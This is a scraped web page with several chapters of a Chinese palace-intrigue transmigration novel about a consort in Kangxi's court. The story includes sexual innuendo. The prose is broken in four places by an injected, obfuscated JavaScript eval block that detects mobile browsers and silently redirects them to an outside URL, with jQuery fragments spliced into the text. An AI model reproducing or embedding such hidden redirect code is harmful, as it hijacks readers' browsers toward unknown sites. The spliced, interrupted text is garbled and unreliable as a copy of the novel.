l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446795|185133||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,众人依序从里头告退,独宜妃留在殿里不曾出来,想必是在极力挽回皇贵妃对自己的印象分。
虽然未必管用。
德妃赶在肩舆起行之前匆匆过来,“贵妃娘娘身子可大安了?”
先前永寿宫闭门谢客,她也没敢前去叨扰。可不管论道义论礼数,都得慰问一番。
无愧乎一个德字。
云欢温声道:“好多了,劳你记挂。外头风大,妹妹别在风口里站着,快回去罢。”
虽还未脱下大毛衣裳,也看得出德妃腹部十分臃肿,显然已有娠。
德妃略微脸红,“谢娘娘关怀,臣妾感激不尽。”
她轻轻按着肚腹,眼里有一个母亲的慈爱与憧憬。
云欢忍不住劝她,“养儿一百岁,长忧九十九,妹妹只要有心,总能守得云开见月明的。”
她不知道德妃是什么时候决定放弃老四的,可不管为人为己,这对母子还是化干戈为玉帛的好。
自己以后说不定还得在人家手底下讨生活哩。
德妃怔怔望着肩舆远去,实在想不到贵妃会同她说这些话,原来贵妃竟是个面冷心热的?
*
云欢途径御花园,本想摘些玫瑰花回去做鲜花饼吃,哪知此时并不见玫瑰盛开,处处只见凌霜傲雪的红梅。
拿红梅入馔……好像没听说过,而且有玷辱风雅之嫌,不符合贵妃一直以来的人设。
只好去问问御膳房有无去年攒下的干玫瑰了。
云欢打定主意把空闲放在琢磨吃食上,永寿宫里藏书颇丰,大半都是她看不懂的,倒是有不少食谱勾得她心中痒痒,好容易托生富贵,好容易当个贵妃,若穿到寻常人家哪有这等机缘?
不能白浪费了呀。
岂料尚未进门就看到梁九功在院里缩手缩脚候着。
他笑得一脸谄媚,让云欢觉着来意不善。
果不其然,开口便是让她速去梳洗,准备晚上伺候圣驾。
云欢刚想找理由推辞,就听梁九功轻咳了咳,“贵妃娘娘,奴才看过您在太医院的脉案,想来已大安了。”
云欢暗自后悔,早知道该跟太医通个气,谁知道皇帝这样耐不住?
男人果然是靠下半身思考的动物,现下皇帝要冷一冷宜妃,彰显大公无私,德妃又不便侍寝,的确也只好找她了。
罢了,伸头一刀缩头也是一刀,早晚得到这一天的。幸好康熙尚在年富力强的时候,若是个头发花白的老头子,云欢还真没处下嘴。
她让雪娟寻出一两银子赏给梁九功,多的没有——白白坏了心情,不给他一巴掌算不错了。
梁九功淡然接过,显然没把这点小钱放心上,临走时却朝云欢使了个暧昧眼色,“贵妃娘娘最擅品箫吹笙,还望您尽情施展,勿负万岁所托。”
笑吟吟地离去。
云欢瞪大眼,该不会……是她想的那个意思?
妈呀,皇宫里玩好大!早知道就不来了。
5. 第 5 章
然云欢实在会错了意,康熙此刻并没有旁的心思,只是单纯的想听一听箫声,借以打发辰光,纾解愁闷。
他原以为自己回来的时机正好,三藩刚刚平定,阖宫一片祥和。哪知在其乐融融之下,却藏着许多暗流涌动。
经历过漫长的一生,康熙于女色上兴致缺缺,更叫他在意的是那帮乳臭未干的毛头小子们,老天爷予他这等机缘,兴许正是为了让他弥补缺憾。
故此甫一适应这具身子,康熙便将阿哥们叫来乾清宫慰问探询,不过三言两语,已让他心凉半截。
此时才发觉自己乐观得太早了。
保成自没什么可说,还是懵懂稚童,去年又拜了大学士张英、李光地为师,学业上已然十分吃力,哪还有工夫琢磨别的。
保清只比保成年长两岁有余,却已有了小大人之态,应付起提问来故作老成,却处处留意一旁太子,唯恐落于人后。
康熙很明白,当初他面对董鄂妃所生的四阿哥也有差不多类似的心理,哪怕对方不过是个襁褓中的婴儿。
归根究底是想赢得那份偏爱。
人性皆如此,可当自己跳出视界后,康熙仍无法免俗。哪怕身在皇家避免不了争权夺利,他仍希望见到父慈子孝、兄友弟恭,至少不该向手足举起刀剑。
但若就此发展下去,保清与保成势必水火不能相融。
于是康熙特意去延禧宫见了惠妃,他到底存着一念希冀,以为惠妃出身望族,服侍他的时间也最长,理所应当是懂得他的。
然而事实终究令他失望了,惠妃面上恭恭敬敬,满心满眼盘算的却都是储位之事——她早就失宠,君恩已然撼动不了她,这趟大封六宫也叫她看清楚,甭管万岁爷怎么偏宠,他老人家心里自有一杆秤,宜妃那样得势,不仍得老老实实排在她后边么?
惠妃也没信心越过佟佳氏与钮祜禄氏,可未来的太后宝座还是得争上一争的。
康熙含着的一口茶险些没喷出来,这些人是有多自信,就笃定了他会早死?
本来还想着说说道理,或能拨乱反正,这会子也没了兴致——纯粹对牛弹琴。
回到乾清宫,康熙颇有高处不胜寒之感,偌大的宫殿,数不清的人,知己却是寥寥。原来到头来,他也不过茕茕孑立。
皇贵妃满心想着立她为后,宜妃忙于争宠,巴不得将其余人踩下去,至于德妃倒还是那朵解语花,可康熙去了一次才知道,原来她对自己也是不无怨怼的。
胤禛那件事到底叫她伤透了心,康熙本意是可怜佟佳氏膝下冷清,给她找点事做,省得成日叽叽喳喳,显然,两个女人都颇有微词——佟佳氏觉得有皇子傍身,更该顺理成章封后,在德妃看来,则是生生断了母子之情。
现在换回来当然也迟了,胤禛在景仁宫过去数年想必早就习惯,再回去永和宫只怕还要哭闹。
覆水难收,破镜难圆。
康熙扶额,清官难断家务事,可眼前种种,难道是他乐于看到的吗?
倒是对着贵妃还能心安理得,也许就因为贵妃早死,康熙想不起自己有哪点对不住她的,同样,他也记不得贵妃的错处。
不理凡俗,一味沉迷风花雪月,瞧瞧,多么好的性子!
正向往际,宫人通报贵妃求见。
康熙整容待客,见云欢款款前来,难得朝她挤出个笑脸。
贵妃手上却是空空如也。
康熙皱眉,向梁九功以目示意,你没把那管碧玉萧给她?
梁九功赶忙告罪,恨不得大呼冤枉,他怎么敢给贵妃使绊子,使劲巴结还来不及呢——眼瞅着时移世易,梁九功自然懂得见风使舵,再为宜妃得罪贵妃便不值了。
康熙按捺住疑问,先关怀云欢病体,显然觉着她要么手伤了,要么嗓子坏了。
云欢满面微笑,对答如流,从腔子里却清清楚楚传来三个字,【老色批。】
康熙:……
听着不懂,但不像什么好话。
来都来了,总不能将人撵回去,遂邀她一同用膳。
云欢却之不恭,早就想瞧瞧皇帝御膳了,永寿宫也不知怎么回事,明明份例里鸡鸭猪羊多的是,顿顿端上来倒大半是素菜,她想换个花样,雪娟等人就拿医嘱来堵她,道那些荤腥油腻之物难以克化,最好不吃。
嘴脸像极了食堂大姨。
康熙就没这种烦恼,他是男人嘛,餐餐大鱼大肉也没人说他。
云欢起初还记着矜持,可见满桌的珍馐佳肴康熙只杵一筷子便放着不动,秉着不能浪费的原则,她自然得帮忙解决。
梁九功震惊贵妃娘娘的好胃口,这是怕待会儿累趴下了,提前补充体力?
一阵风卷残云后,云欢满意地拿帕子揩了揩嘴,又叫了杯消食的普洱茶,俨然宾主尽欢,“谢万岁爷招待。”
梁九功:……
这人还记得自己为什么来的吗?
幸好云欢没忘记正题,等杯盘碗盏撤去,才神神秘秘道:“万岁爷,还请您入内室。”
这话当然没问题,贵妃的才艺不是谁都能欣赏
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446796|185133||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的,奴才们想一饱耳福才是做梦哩。
梁九功隐约咂摸出点滋味来,怪道说士别三日刮目相看,贵妃这是学精了啊,想一举把万岁爷拿下,虽说万岁只是召她伴驾,可谁规定伴驾就不能变成侍寝了?
等贵妃肚里冒出个龙子来,宫里更该热闹了。
梁九功自然乐见其成,想想皇贵妃知道后会是什么反应,愈发喜不自胜,牙花子都咧开了。
亲自搀着康熙进殿,梁九功便屈身告退,顺道把几个呆头呆脑的小太监也给拽走了,省得碍事。
康熙冷眼旁观,虽然不知贵妃肚里捣鼓的什么名堂,显然绝非梁九功误会的那种事。
云欢装模作样热了会身,便召雪娟过来,从她手里接过来一个绸缎包袱。
雪娟满脸为难,欲言又止,到底不敢扫主子的兴,只能咬牙转去,却悄悄守在门口,准备一有动静进来护驾——大不了跟娘娘一起死,也算死得其所了。
康熙其实已经猜到是什么了,可等云欢掀开包袱,脸上仍不免僵了僵。
云欢笑得一脸欢快,乐呵呵举起那把黄铜制的唢呐,“万岁爷,臣妾新学了样技艺,斗胆向您献丑了。”
【小样,治不了你!什么品箫吹笙,老娘可做不来,那些下流招数谁爱干谁去!】
康熙无语,敢情梁九功的话叫她有所误会,可贵妃一向文弱贞静,怎么想到那方面去的?看来平日看的不是什么正经书……
倒是真人不露相。
康熙发觉自己前世对她有所误会,他觉着贵妃高不可攀,多少有些敬她畏她,如今看来,她跟她姊姊还是大不一样的。
就不知道是好是坏。
唢呐比起玉箫毕竟颇具分量,于女子不大相宜,云欢毕竟久病初愈,这又是个体力活,没一会儿便涨得面红耳赤,连脖子都粗了一截。
康熙不做声,她可没力气坚持了,厚着脸皮给自己喊停,“万岁爷,您还满意吗?”
康熙凉凉看她一眼,像是在说,朕该满意吗?
不管怎么说,现在皇帝的邪念肯定被打消了。唢呐一向用于婚丧大事,你见过谁在宴会上欲/火焚身的吗?
至于日后会不会有心理阴影,反正不关她事。
云欢见好就收,“若无他事,臣妾便告退了。”
康熙忽道:“等等。”
蓦地起身朝云欢走去,姿势分外具有侵略性,似一只猛兽意欲择人而噬。
云欢难以置信,不会吧,这种情况还能立的起来,您是属泰迪的吗?
6. 第 6 章
云欢此时的心情颇有点矛盾,虽然早就料着会有这么一天,可真正来临的时候,多少还是有些紧张跟抗拒。
面对康熙这种掌握生杀予夺之权的顶端统治者,肯定谈不上什么鱼水之欢的,有的只是掌控跟服从。
罢了,在其位谋其事,寻常百姓的男子也未见得体贴入微。
云欢咬着后槽牙,只当是受刑,挨过去就是了,反正又不是死刑。
只盼着那玩意精致点儿,若身怀伟器,她这副身子还真未必受得住。
就看康熙脸上露出一抹高深莫测的笑,叫她愈发忐忑难安。
下一刻,小腹蓦地有种酸胀感,腿根处也热热的,隐约有点湿意。
云欢囧了个囧,难不成是吓尿了?
却见康熙变了颜色,云欢低头一瞧,裙摆上鲜红一抹污迹,触目惊心。
电视剧看多的她下意识以为是小产了,转念想想不对啊,没怀孕怎么可能小产?
那她是……来月事了?
康熙显然比她有经验,略一愣神,便欲唤梁九功进来处理。
云欢又羞又气,抓着他袍角,轻轻摆了摆头。
梁九功虽是个太监,可太监也是半个男人,遇上这种事多少有些不好意思——康熙或许觉着御前这些只是趁手工具,云欢可没法不把奴才当人看。
倒是爱在细枝末节上计较。康熙原以为贵妃转了性子,可瞅着云欢那副扭捏之态,原有的疑虑轻轻逝去。
贵妃还是那个贵妃。
他低笑一声,大手一挥就将云欢抱起,整幅厚实的大氅将她牢牢裹住。
云欢惊了,都这样了还来,真想浴血奋战不成?
康熙扶额,什么跟什么,少不得耐着性子与她解释,“更深露重,再出去怕受凉,不如就在偏殿歇息一晚。”
云欢羞答答地垂眸,好吧是她小人之心。
两人从里出来,梁九功跟雪娟皆惊了惊,康熙待要说话,云欢伸出一指抵在他唇上,他便顿悟,只道贵妃身子乏了,明日再行离去。
梁九功看贵妃颇有点佩服,这才多大点工夫就完事了了,真不知该说贵妃本事见长还是万岁爷素得久了,乍经人事便缴械投降。
康熙懒得睬他这些龌龊心思,成日不好好当差净琢磨些歪门邪道,吃饱了撑的!
将云欢安置在偏殿,康熙便转身离去,还有折子要批,他才没工夫掰扯。
云欢黏答答地望着他,粉面含羞。
莫非是希望他陪在身边,加以安慰?康熙才升起点自满,便从对面心声里听出,人家只不过想加份夜宵。
没好气地吩咐梁九功办去。
等热乎乎的糖蒸酥酪送来,雪娟也已得了令,飞速回永寿宫取月事带和替换衣裳——明早不能穿这身出门吧?上头全是脏点子。
梁九功做事极细致,非但备了好几样点心小食,问了大师傅有无忌口,还亲自给她灌了个汤婆子,用厚厚的布套子包着,既滋润又不扎手。
虽不知宜妃娘娘何处得罪了陛下,这宫里的天眼看着变了,他自然得另觅靠山呀!
云欢没空理会这等阿谀奉承的小人,吃完宵夜便把碗筷往前一推,闭目假寐。
梁九功也知机,不去做那惹人讨厌的应声虫,蹑手蹑脚告退。
他知道贵妃娘娘仍对自己有所防备,不过没关系,日久见人心,早晚贵妃须知道他好处——在这宫里要想过得舒坦,就得摸清主子爷的心思,贵妃以前是心高气傲不屑用计,可以后呢?
吃一堑长一智,这不眼瞅着清醒过来了。
康熙批完折子已是深夜,正欲就寝,想起隔壁还躺着个人,为求保险,还是过去看看。
半明半寐的烛火下,贵妃裹着一幅杏子红绫被,睡颜安恬,光看着便觉岁月静好。
只康熙听出她心里七上八下,不觉微微一笑。
云欢打量得脚步声渐渐远去,方才长长舒了口气。
别怪她多心,她只是不信任男人这种生物。尽管她刚来癸水不宜侍寝,可还有手,还有嘴呢。
她可不敢指望康师傅的节操。
胆战心惊过了后半夜,云欢只来得及草草打个盹,再睁眼时,天边才浮起一层鸭蛋青。
她不想待下去了,遂唤来雪娟更衣,又问她:“万岁爷呢?”
不告而别似乎不太好,那就还是得请个安,万一康师傅又留她用早膳,她是答应还是推脱呢?
钮祜禄家出个吃货难免让人笑掉大牙,她也不忍贵妃一直以来的高冷形象崩塌,那就……见机行事好了。
雪娟却回说康熙已经上朝去了,叮嘱不必喊娘娘起来。
好吧省得她纠结,可见当皇帝还真不容易呢,云欢蓦地想起一句俗谚,起的比鸡早,睡得比狗晚,干得比牛多,吃得比猪差——皇宫里的吃食当然丰富精致得多,其他形容还真是恰如其分。
吩咐值夜的太监捎个口信,云欢便带上雪娟款款离开,连辇轿也没用。
至于换下来的脏衣裳,因钮祜禄氏素性好洁,那些贴身之物向来是由侍女们手洗的,无须送到浣衣局去。
让人洗沾着经血的内衣裤虽有点抵触,可若自己动手,雪娟定要以为她抽风了。云欢只能自我安慰,这都是司空见惯。
总比送到浣衣局让人大喇喇的瞻仰强。
好容易疼痛缓了些,她得赶紧回去补个眠。
主仆俩满以为瞒得一丝不露,殊不知宫里的耳报神遍地都是,没多会儿,贵妃在养心殿过了一夜的消息便传开了。
宜妃先就坐不住,她自己的绿头牌还没挂上去呢,怎能让贵妃占了先?
先前万岁爷小惩大诫,不见她,可也没怎么见贵妃,她还勉强能够接受,觉得万岁是在彰显公允之道。
可怎么能让贵妃骑到她头上去呢?
宜妃心急火燎,连皇贵妃那儿都顾不上敷衍,匆匆点了个卯,便直奔永寿宫来。
她必得打听清楚,贵妃是如何令万岁回心转意的。
无独有偶,路上正撞见德妃,德妃一样乘着辇轿——她现揣着五个月的肚子,不敢不仔细。
要知道以前为彰显低调,从来不肯摆这些架子的。
宜妃那股乌火莫名其妙散了些,取而代之的是幸灾乐祸,“妹妹这是往哪
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446797|185133||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去啊?”
两人隔着轿子施了个平礼,德妃道:“去拜见贵妃。”
宜妃以袖掩口,笑得春光灿烂,“可不是嘛,贵妃一旦复宠,妹妹就得仔细了。凭她的家世,要对付妹妹你还不是信手拈来。”
宫里素有泾渭分明的几派,四妃莫不出身包衣,纵使略有参差,也不过五十步笑百步,对佟佳氏钮祜禄氏这等仗着出身名门便身居高位的女子,则是既羡且妒。
别人是一级一级地往上爬,她们却能一步登天,凭什么?
须知宜妃多少存了点与贵妃并尊的指望,可若贵妃继续受宠下去,她这梦早晚得破灭。
德妃顶看不上宜妃这架桥拨火的性子,淡淡道:“大家同为后宫嫔妃,自当和睦宫闱,尽心服侍皇上,姐姐也收起算计吧,皇上最不喜惹是生非。”
宜妃爱信不信,她还真就为看望贵妃而来,不管贵妃昨儿是出于何种心理劝慰她的,她都愿意承这个情。
宜妃望着对面远去,轻轻朝地上啐了口,装什么装,你不想争宠,做什么从宫女变嫔妃?这会儿倒学着清高傲岸。
饭锅莫笑菜锅黑。
旋即反应过来,自己得拦住她,万一德妃将那些话转述给贵妃就糟了——贵妃那个人听风就是雨,闻言岂有不恼的。
若她俩联起手来,自己反倒难受了。
遂吩咐底下使劲,速速赶往永寿宫去。
抬轿的宫人们面面相觑,永寿宫几时这样炙手可热了?以往都是冷冷清清门可罗雀。
看来宫里真要变天了。
可惜两人都碰了壁,云欢尚在梦中,自然无暇敷衍。
黑甜一觉起来,已是日挂中天。
雪娟端着煮沸过的姜汤过来,向她禀报宜妃德妃前来探望一时,虽见不着人,两人可都备了礼。
云欢没想到来个月事都万众瞩目,宫里的女人都这么闲吗?还是自己误会了,这些人其实很有姐妹情?
她只关心要不要还礼。
雪娟笑道:“这个么,就看您自己了。”
论起来也算是底下人孝敬,娘娘收了,便等于接受她们投诚,至于礼尚往来可也不可。
云欢放心了,送进来的礼不能原样再送出去,还得另外费心搜罗,她实在没精神。
姜汤虽苦,喝下去的确好受许多,没有布洛芬的时代,痛经也只能硬捱着。云欢算是知道原主为何总是伤春悲秋了,人在生病的时候真的很容易emo有木有。
雪娟收回空碗,又塞了枚蜜饯果子让她含在舌下,含笑道:“娘娘是何时学会吹唢呐的?奴婢怎不知道。”
云欢一个激灵,怕是要露馅。其实她大学时报了个民族乐社团,草草跟了几个月,勉强算得入门,可以贵妃的高雅秉性,显然不会与这等俗物沾边。
她唯有做出高冷模样,“以前在闺中时,随额娘出门宴客,见路边吹拉弹唱甚是热闹,看了几遍就会了。”
满以为说辞漏洞百出,孰料雪娟却满眼星星,五体投地,“果然如此!”
就知道她家娘娘是个天才,过目不忘这很正常嘛!
云欢:……
7. 第 7 章
从刚来葵水到葵水彻底退去,足足用了七八天的工夫,这让云欢有些不可思议。要知道以前四五天她都嫌太多了,更别提还得忍受绵绵不绝的钝痛,慢刀子割肉似的。
雪娟等人倒是习以为常,知道娘娘此刻多半不愉,服侍起来越发小心翼翼,唯恐触怒。
云欢自己衣来伸手饭来张口,当然没好意思指摘什么,尤其她用的月事带是用丝绸做的,精细无比,民间只能用吸水性差的麻布或者粗棉布,光是想想,云欢都花容失色。
可见她这般处境已然很好了,还不知足未免矫情,更可见她以前多么天真——在基本的物质保障不能满足时,痴男怨女都是无病呻吟。
听雪娟说起孝昭皇后亦有崩漏之症,这让云欢觉着钮祜禄家族是不是有什么遗传病,不过姊妹俩的生母舒舒觉罗氏倒挺长寿的,这会子仍很健朗。
雪娟叹道:“夫人是报喜不报忧,有多少苦都闷在心里。”
原来舒舒觉罗氏不过是遏必隆的侧室,却与正室夫人巴雅拉氏不甚和睦,巴雅拉氏所生阿灵阿也是府上唯一嫡子,他们母子连心,向来视偏房为仇,将来阿灵阿承了爵,舒舒觉罗氏不定得如何受欺,她还是有儿子的,难道一生都得寄人篱下看人眼色?
难怪孝昭皇后殚精竭虑,不敢行差踏错,只为给至亲挣个好前程,父死母弱,额娘和弟弟能指望的也只有她了。
从原主马不停蹄进宫看,这家子也只有女人得力。
云欢沉默下来,本以为能安生躺平,却原来肩上还背着担子?但,人性皆是自私的,纵使她因占了这具身子而对原主有所亏欠,却不代表她要接过钮祜禄氏的全部责任。
至少,也得考察过舒舒觉罗氏跟法喀的人品再说,看值不值得费精神。
何况,康熙没提过更替爵位的事,要么孝昭皇后考量过后不曾进言,要么提过给否了,她不能擅自开口,反而给娘家和自身招祸。
身体是革命的本钱,不把自己调理出个人样,什么都是虚的。
云欢便问起往日帮贵妃请脉的太医,知道姓钱,就觉得这人会不会是个见钱眼开的,收了旁人好处故意给贵妃下套,令其缠绵病榻。
雪娟乐呵呵道:“那不会,钱太医对娘娘忠心着呢。”
从她狡黠的眼色中云欢悟出,这太医恐怕还有些别的意思。当然,发乎情止乎礼,明面上是不敢越轨的,只是格外厚待,有几回甚至鸽了皇贵妃特意来永寿宫请平安脉——他是妇科一行的圣手,佟佳氏自是想从他那求些坐胎药。
很好,术业有专攻,云欢不求能把痛经根治,好歹少来个几天吧?动不动七八天也太烦人了。
至于会否影响生育,她并不在乎。她是贵妃,无须靠子嗣上位,何况九龙夺嫡的胜者独那一位,掺一脚也没意思。
钱太医得了口信,便兢兢业业翻阅医书,誓要为心中的女神效力。
云欢予他充足的时间与精神鼓励,至于赏赐么……很抱歉,恕她无能为力。
每月光药钱都是笔大开销,她自己尚需省着点用哩。
月事褪净后,又捱了两三日云欢才去景仁宫请安,一副弱不胜衣架势,仿佛她强支病体而来,十足恭敬。
佟佳氏颇有些皮笑肉不笑,可再气也只能憋在心里,刚进宫时还有些任性孩气,多年的后宫生活总算叫她明白,百忍成金。
她没办法除去表哥身边的每个女人,那就只能静心忍耐。当皇后须得贤惠大度,等她成功坐上后位,再来收拾眼中钉也还不迟。
若是以前,罚也就罚了,可谁叫贵妃现下炙手可热呢?得罪她等于得罪表哥,不划算。
云欢颇有些爽歪歪,她就喜欢这种看不惯我又干不掉我的样子。仅仅只是一夜的误会便能让皇贵妃如此忌惮,可见宫里恩宠多么重要。
宜妃出奇地沉默着,实则已经气得说不出话来。
她在想皇帝到底把贵妃折腾得有多厉害,居然小半个月下不来床,以前对自己都没这般干柴烈火。
瞧贵妃那股得意样,恁不死她,真真小人得志。
想起贵妃至今没孩子,就算生了也未必好养活,宜妃方才得些安慰。何况她的五阿哥养在太后宫里,皇上又最讲究孝道,这见面三分情,早晚得想起她来。
云欢施施然离开,德妃气喘吁吁追上来,“贵妃娘娘。”
这人还真是不知爱惜,云欢也没想到早期德妃会是这种人设,还挺……爱憎分明的?跟她看的清穿文里心机深沉大反派形象截然不同
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446798|185133||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
云欢一个眼色,自有侍女过去为德妃披件大氅,又擎了把伞。
众目睽睽,她若是出点岔子,自己可脱不了干系。
德妃投来感激的一瞥,嗫喏开口,“您上月所提之事,妾考虑再三,深以为然,不如……”
话音未落,却被云欢断然回绝,“这是你自己的事!本宫不会帮别人养孩子!”
她太明白德妃在想什么了,不外是想她去向皇贵妃说合,把胤禛要过来,如此免得得罪景仁宫,也能让胤禛脱离佟佳氏掌控。
可能在德妃看来还是为她好,反正贵妃膝下无子,多个孩子不也热闹得很么?凭她与永寿宫交情,日后常来常往也方便。
可云欢毕竟是个淡人,无论贫贱富贵,她惟愿独善其身,就算收养胤禛能带来好处,她还是宁肯维持现状。
世界上内卷的人太多了,何必再多添一个?
云欢锐利地瞪她一眼,“德妃,为亲生骨肉冒一回险,便这样难吗?”
德妃愣怔,旋即满脸涨得通红,想分辩自己并非胆小怯懦,却期期作声不得。
是啊,她已然是一宫主位,还拥有可与宜妃匹敌的恩宠,并非无力与皇贵妃抗衡,她到底在害怕什么呢?
归根究底,她只是在评估这样的代价值不值得。也许,她并没嘴上念叨的那般疼爱胤禛,至少不值得用全部身家做赌注。
云欢见她满面羞惭,便不再多说。
许多事总得自己想明白,旁人纵能指点迷津,却无法代替其做决定。
倒是雪娟有些惆怅,“娘娘,您真不想抚养四阿哥吗?”
“不想。”云欢斩钉截铁。
就算侥幸成为未来帝母,那也是四十年后的事了,谁知道她能否活到那时候?不如把握当下,及时行乐。
她自己都不想生,何况是当保姆。这又不是养只小猫小狗,猫猫狗狗还能逗你开心,孩子却只会哭闹淘气惹人讨厌,想想都累。
雪娟:……
娘娘如今却是清醒多了呢,左右子嗣上的事只能随缘,命里有时终须有,命里无时莫强求。
不管将来有无小主子降世,反正她是会一直陪着娘娘的。有她作伴,娘娘晚年一定不会寂寞孤单。
8. 第 8 章
体验了一回恃宠生娇滋味,康熙再来时,云欢的态度明显有了变化。
虽还是如前一般矜持着,至少言行举止主动多了——不用雪娟提点她也知道亲自奉茶。
可比之先前心无旁骛牵挂着他,如今到底成了“有所求”,这茶也不是容易来的。
康熙感慨,等闲变却故人心,却道故人心易变。
又有点怀疑,也许贵妃本就是这副脾性,只是自己以前不了解她。
说也奇怪,这样的贵妃反叫他相处起来更自在,太繁重的爱容易让人有负担,譬如佟佳氏,真真把心肝脾肺都掏给了他,康熙纵使心有歉疚,却往景仁宫去得更少了。
谁愿意欠人情债。
反观宜妃,对他只有七分真心,可康熙反倒最宠她。他很明白,自己只需付出同等的回报即可,无须担心婪取无度。
贵妃想是在跟宜妃学,又比宜妃多了些通透。她没孩子,乐得一身轻。
两人静悄悄地喝着茶,云欢心里跟茶叶似的载浮载沉,无事献殷勤非奸即盗,康熙此来莫非算准了日子,觉得她月信过去可以行房了?
要不要再拖一拖……可纵使有钱太医作证,这事怎么看都圆不过去,这来葵水来个十天半月的,那不成血山崩了。
还是说染风寒好了,正好她早上偷吃了些辣子,嗓子眼刺挠刺挠的,很有些哑。
康熙就听她脑子里编了个十来个由头,又自己一一推翻,到最后眼看着把自个儿给说服了,合着这寝还非侍不可?
康熙倒是没那般心急火燎,他这具身子虽然年轻,却是新瓶装旧酒,纵使仍免不了生理反应,心境却与少年不同,遑论气血翻涌。
他这趟过来,还真是为说正经事的。
二月他要去景山斋戒,为太皇太后祝寿,再东巡谒陵,告慰祖宗们的亡魂。
云欢一听立刻急不可耐,“既如此,臣妾也要去。”
眼睛闪闪发亮,藏着无尽希冀。
康熙凉凉睃她一眼。
云欢意识到自己兴奋过了头,赶紧轻咳了咳,“臣妾与皇上体同一心,自不能怠忽职守。况且,我也想看看姐姐。”
眸子微微暗淡下来。
孝昭皇后是去岁三月葬进东陵的,算下来差不多快满周年了,这理由实在充分正当。
至于真实想法嘛……云欢当然想去看看外头天地,纵使跟着御驾不能随意走动,好歹能呼吸点新鲜空气,比拘在这青砖红瓦下强。
康熙也没劝她珍重身体什么的,吃一堑长一智,这人还真当游水玩水呢。
等尝到苦头,她自然知道眼前的决定多么错误。
云欢再想不到眼前的大帅哥是个腹黑心机男——忽略发型还是挺帅的,比前世那个要死要活的渣男顺眼多了。
至于康熙话里的陷阱,虽他不说,云欢也能猜到几分,不就是吃素嘛。现在也没后世那些丰富精致的调味料,顿顿咸菜滚豆腐肯定是受不住。
她便让雪娟多备些御膳房里糕点,拣那易于储存的,到时候偷摸打点牙祭,横竖不至饿死。
雪娟天真道:“那么带猪油的要吗?”
好问题,如果严格按照斋戒奥义,自是一点荤腥都不能沾。
可传统的中式糕点非得猪油才能好吃,云欢努力挣扎半晌,在诚心礼佛与口腹之欲间依然选择后者。
酒肉穿肠过,佛祖心中留。
玉皇大帝跟王母娘娘一定会原谅她的。
依着旧例,皇贵妃本该留下照料阖宫事宜,可她听闻贵妃要陪王伴驾,当即便觉着不妙,怎么能让贵妃捡漏?
她也要去,康熙的生母、孝康章皇后乃是她的亲姑姑,她也想一叙姑侄之情呢。
康熙没理由拒绝,六宫琐事只得委派四妃一同协理。
宜妃很是遗憾,怎么自己就没个七大姑八大姨葬在帝陵,想找借口都不好找,总不能好端端说过世的婆婆给自己托梦吧,人家根本不认识她!
事实证明,三角形才是最稳定的图形。
虽宜妃未能搅局,却另外冒出个平贵人。这位小赫舍里氏乃仁孝皇后(康熙元配)胞妹,前年入选后便一直待在储秀宫,康熙根本没碰过她。
原因无她,平贵人的年纪实在太小了,刚进宫时不过十岁出头,如今也还不到十三。
就算古人早熟罢,平贵人这样子也熟不到哪儿去,瘦怯凝寒,套着板板正正的朝服,有种小孩偷穿大人衣裳的滑稽感。
云欢若是康熙,多看两眼都觉得罪恶。
佟佳氏却不这么想,她看着平贵人青春稚嫩的脸庞,满脑子都是杜牧那句诗,“豆蔻梢头二月初,聘聘婷婷十三余”。
赫舍里家还真是心机险恶,眼瞅着自家闺女年纪到了还未得幸,就故意趁这个机会推出来争宠,说什么照顾太子,这平贵人照顾自己都照顾不过来,哪有余力顾全别人?
还什么想念亡姐,仁孝皇后成亲时平贵人还没出世吧,面都不曾见过,忽然间倒感情深厚了,真是怪哉!
鄙薄归鄙薄,佟佳氏到底没那个胆子把平贵人赶回去,她知道表哥心里无论元后还是太子都是极具分量的,即便明知赫舍里家用心不纯,他也会赏这个脸。
佟佳氏就想挑拨鹬蚌相争,一样是万岁爷的姨妹,那一个还更亲些,贵妃心里就没半点危机感吗?赫舍里家可是出了个太子呢。
倘贵妃想除掉平贵人,她不介意助一臂之力。
然佟佳氏才起了个话头,云欢便做出惶恐难安的模样,直言自己才疏学浅,能服侍君侧已是万幸,不敢再做他想。一场大病让她明白过来,争风吃醋只会伤身,颐养天年才是正道。
